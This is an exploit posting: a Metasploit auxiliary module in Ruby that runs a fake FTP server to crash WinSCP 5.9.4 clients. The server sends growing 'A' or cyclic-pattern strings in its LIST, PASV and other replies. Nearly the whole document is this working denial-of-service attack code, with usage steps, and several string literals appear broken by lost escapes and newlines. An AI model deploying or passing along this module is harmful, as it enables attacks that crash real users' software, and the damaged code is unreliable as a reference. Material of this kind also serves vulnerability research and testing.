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WinSCP 5.9.4 LIST Denial Of Service

Posted on 17 April 2017

##
# Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application)

# Date: [4-4-2017] mm.dd.yy
# Exploit Author: [M.Ibrahim] vulnbug@gmail.com
# E-Mail: vulnbug <at> gmail.com
# Vendor Home Page: https://winscp.net/eng/index.php
# Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe
# Version: [WinSCP 5.9.4]
# Tested on: windows 7 x86
##
#put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all
#then run -j
#now fake ftp server is ready
#try to connect to this fake ftp server with winscp client and it will crush
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Exploit::Remote::TcpServer

def initialize()
super(
'Name' => 'WinSCP CRUSHER',
'Description' => %q{
This module will Crush WinSCP FTP client
},
'Author' => [ 'M.Ibrahim <vulnbug[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.google.com' ],
]
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]),
OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]),
OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),
OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]),
OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]),
OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]),
OptBool.new('ERROR', [ true, "Reply with error codes only",false]),
OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true])
], self.class)
end

def support_ipv6?
false
end

def setup
super
@state = {}
end

def run
@fuzzsize=datastore['STARTSIZE'].to_i
exploit()
end

def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
:ip => c.peerhost,
:port => c.peerport,
:user => nil,
:pass => nil
}

print_status("Client connected : " + c.peerhost)
active_data_port_for_client(c, 20)
send_response(c,"","WELCOME",220," "+datastore['WELCOME'])

end

def on_client_close(c)
@state.delete(c)
end

def passive_data_port_for_client(c)
@state[c][:mode] = :passive
if(not @state[c][:passive_sock])
s = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => 0,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
dport = s.getsockname[2]
@state[c][:passive_sock] = s
@state[c][:passive_port] = dport

end
@state[c][:passive_port]
end

def active_data_port_for_client(c,port)
@state[c][:mode] = :active
connector = Proc.new {
host = c.peerhost.dup
sock = Rex::Socket::Tcp.create(
'PeerHost' => host,
'PeerPort' => port,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
}
@state[c][:active_connector] = connector
@state[c][:active_port] = port

end

def establish_data_connection(c)

begin
Timeout.timeout(20) do
if(@state[c][:mode] == :active)
return @state[c][:active_connector].call()
end
if(@state[c][:mode] == :passive)
return @state[c][:passive_sock].accept
end
end

rescue ::Exception => e
print_error("Failed to establish data connection: #{e.class} #{e}")
end
nil
end

def on_client_data(c)

data = c.get_once
return if not data

cmd,arg = data.strip.split(/s+/, 2)
arg ||= ""

return if not cmd

case cmd.upcase.strip

when 'USER'
@state[c][:user] = arg
send_response(c,arg,"USER",331," User name okay, need password")
return

when 'PASS'
@state[c][:pass] = arg
send_response(c,arg,"PASS",230,"-Password accepted.
230 User logged in.")
return

when 'QUIT'
if (datastore['RESET'])
print_status("Resetting fuzz settings")
@fuzzsize = datastore['STARTSIZE']
@stepsize = datastore['STEPSIZE']
end
print_status("** Client disconnected **")
send_response(c,arg,"QUIT",221," User logged out")
return

when 'SYST'
send_response(c,arg,"SYST",215," UNIX Type: L8")
return

when 'TYPE'
send_response(c,arg,"TYPE",200," Type set to #{arg}")
return

when 'CWD'
send_response(c,arg,"CWD",250," CWD Command successful")
return

when 'PWD'
send_response(c,arg,"PWD",257," "/" is current directory.")
return

when 'REST'
send_response(c,arg,"REST",200," OK")
return

when 'XPWD'
send_response(c,arg,"PWD",257," "/" is current directory")
return

when 'SIZE'
send_response(c,arg,"SIZE",213," 1")
return

when 'MDTM'
send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}")
return

when 'CDUP'
send_response(c,arg,"CDUP",257," "/" is current directory")
return

when 'PORT'
port = arg.split(',')[4,2]
if(not port and port.length == 2)
c.put("500 Illegal PORT command.
")
return
end
port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0]
active_data_port_for_client(c, port)
send_response(c,arg,"PORT",200," PORT command successful")
return

when 'PASV'

daddr = Rex::Socket.source_address(c.peerhost)
dport = passive_data_port_for_client(c)
@state[c][:daddr] = daddr
@state[c][:dport] = dport
pasv = (daddr.split('.') + [dport].pack('n').unpack('CC')).join(',')
dofuzz = fuzz_this_cmd("PASV")
code = 227
if datastore['ERROR']
code = 557
end
if (dofuzz==1)

send_response(c,arg,"PASV",code," Entering Passive Mode (#{@fuzzdata},1,1,1,1,1)
")
incr_fuzzsize()
else
send_response(c,arg,"PASV",code," Entering Passive Mode (#{pasv})")
end
return

when /^(LIST|NLST|LS)$/

conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection
")
return
end

code = 150
if datastore['ERROR']
code = 550
end
c.put("#{code} Here comes the directory listing.
")
code = 226
if datastore['ERROR']
code = 550
end
c.put("#{code} Directory send ok.
")
strfile = "passwords.txt"
strfolder = "Secret files"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strfile = @fuzzdata + ".txt"
strfolder = @fuzzdata
paylen = @fuzzdata.length

incr_fuzzsize()
end

dirlist = ""
if datastore['EXTRALINE']
extra = "
"
else
extra = ""
end
dirlist = "drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}
" + extra
dirlist << "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{strfile}
" + extra
conn.put("total 2
"+dirlist)
conn.close
return

when 'RETR'

conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection
")
return
end
print_status(" - Data connection set up")
strcontent = "blahblahblah"
dofuzz = fuzz_this_cmd("LIST")
if (dofuzz==1)
strcontent = @fuzzdata
paylen = @fuzzdata.length

incr_fuzzsize()
end
c.put("150 Opening BINARY mode data connection #{strcontent}
")
print_status(" - Sending data via data connection")
conn.put(strcontent)
c.put("226 Transfer complete
")
conn.close
return

when /^(STOR|MKD|REM|DEL|RMD)$/
send_response(c,arg,cmd.upcase,500," Access denied")
return

when 'FEAT'
send_response(c,arg,"FEAT","","211-Features:
211 End")
return

when 'HELP'
send_response(c,arg,"HELP",214," Syntax: #{arg} - (#{arg}-specific commands)")

when 'SITE'
send_response(c,arg,"SITE",200," OK")
return

when 'NOOP'
send_response(c,arg,"NOOP",200," OK")
return

when 'ABOR'
send_response(c,arg,"ABOR",225," Abor command successful")
return

when 'ACCT'
send_response(c,arg,"ACCT",200," OK")
return

when 'RNFR'
send_response(c,arg,"RNRF",350," File exists")
return

when 'RNTO'
send_response(c,arg,"RNTO",350," File exists")
return
else
send_response(c,arg,cmd.upcase,200," Command not understood")
return
end
return
end

def fuzz_this_cmd(cmd)
@fuzzcommands = datastore['FUZZCMDS'].split(",")
fuzzme = 0
@fuzzcommands.each do |thiscmd|
if ((cmd.upcase == thiscmd.upcase) || (thiscmd=="*")) && (fuzzme==0)
fuzzme = 1
end
end
if fuzzme==1

if datastore['CYCLIC']
@fuzzdata = Rex::Text.pattern_create(@fuzzsize)
else
@fuzzdata = "A" * @fuzzsize
end
end
return fuzzme
end

def incr_fuzzsize
@stepsize = datastore['STEPSIZE'].to_i
@fuzzsize = @fuzzsize + @stepsize

if (@fuzzsize > datastore['ENDSIZE'].to_i)
@fuzzsize = datastore['ENDSIZE'].to_i
end
end

def send_response(c,arg,cmd,code,msg)
if arg.length > 40
showarg = arg[0,40] + "..."
else
showarg = arg
end
if cmd.length > 40
showcmd = cmd[0,40] + "..."
else
showcmd = cmd
end

dofuzz = fuzz_this_cmd(cmd)

if (dofuzz==1) && (cmd.upcase != "PASV")
paylen = @fuzzdata.length

if datastore['ERROR']
code = "550 "
end
if cmd=="FEAT"
@fuzzdata = "211-Features:
 "+@fuzzdata+"
211 End"
end
if cmd=="PWD"
@fuzzdata = " "/"+@fuzzdata+"" is current directory"
end
cmsg = code.to_s + " " + @fuzzdata
c.put("#{cmsg}
")
print_status("* Fuzz data sent")
incr_fuzzsize()
else

cmsg = code.to_s + msg
cmsg = cmsg.strip
c.put("#{cmsg}
")
end
return
end
end

 

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